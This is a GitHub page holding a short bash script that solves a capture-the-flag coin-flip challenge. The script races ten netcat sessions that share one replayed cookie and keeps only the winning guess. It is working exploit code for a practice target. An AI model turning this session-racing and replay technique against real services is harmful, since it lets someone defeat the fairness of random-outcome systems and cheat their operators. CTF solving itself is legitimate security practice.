-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathcoinflip.sh
74 lines (61 loc) · 1.37 KB
/
coinflip.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/bin/bash
# by craig
# superugly in bash, for the lulz
# connect x sessions to the service
# send header, including cookie
# session 1: flip coin
# if successful, disconnect all other sessions
# if unsuccessful, flip coin in another session
# (feed with cookie that had success on the first try ./script.sh “sid=...”)
pipe()
{
mynumber=$1
cookie=$2
cat <<EOF
POST /flip HTTP/1.1
Host: coinflip.ctf.zone
Content-Length: 5
Content-Type: application/x-www-form-urlencoded
Cookie: $cookie
EOF
while [ 1 ]
do
sleep 1
if [ -e /tmp/coin/$mynumber ]
then
echo "heads"
fi
done
}
#curl -s --data heads http://coinflip.ctf.zone/flip -D - | grep ^set | awk '{print $2}'
cookie="$1"
while [ 1 ]
do
# start sessions
echo -n "Starting pipes"
for ((i=0;i<10;i++))
do
pipe $i "$cookie" | nc coinflip.ctf.zone 80 > /tmp/coin/$i.output &
echo -n "."
done
echo
sleep 1
# look at sessions
for ((i=0;i<10;i++))
do
echo "Looking at session $i"
touch /tmp/coin/$i
sleep 2
if [ "$(grep '{"correct":true' /tmp/coin/$i.output)" ];
then
echo "$i -> found"
cat /tmp/coin/$i.output
pkill -9 nc &>/dev/null
break
else
echo "$i -> not found"
fi
done
pkill -9 nc &>/dev/null
rm /tmp/coin/*
done